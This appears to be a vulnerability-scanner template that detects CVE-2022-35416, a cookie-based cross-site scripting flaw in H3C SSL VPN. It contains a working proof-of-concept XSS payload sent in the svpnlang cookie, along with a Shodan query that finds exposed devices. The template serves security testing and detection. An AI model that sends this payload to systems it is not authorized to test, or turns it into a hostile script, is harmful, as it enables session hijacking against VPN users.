57 lines
1.9 KiB
YAML
57 lines
1.9 KiB
YAML
id: CVE-2022-35416
|
|
|
|
info:
|
|
name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
|
|
author: 0x240x23elu
|
|
severity: medium
|
|
description: |
|
|
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
|
|
remediation: |
|
|
Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
|
|
reference:
|
|
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
|
|
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
- https://github.com/bughunter0xff/recon-scanner
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-35416
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00101
|
|
epss-percentile: 0.41055
|
|
cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: h3c
|
|
product: ssl_vpn
|
|
shodan-query: http.html_hash:510586239
|
|
tags: cve,cve2022,xss,vpn,h3c
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wnm/login/login.json HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: svpnlang=<script>alert('document.domain')</script>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<script>alert('document.domain')</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402200ea0a2eb9b5e2e9e8466b7dcf6040653f31d3c9813c14d7c1e6e0e89d07e17cd02205b74da895572f34a4721c6c494f46762d36cde27b561d40e6f006c22f3c000b9:922c64590222798bb761d5b6d8e72950 |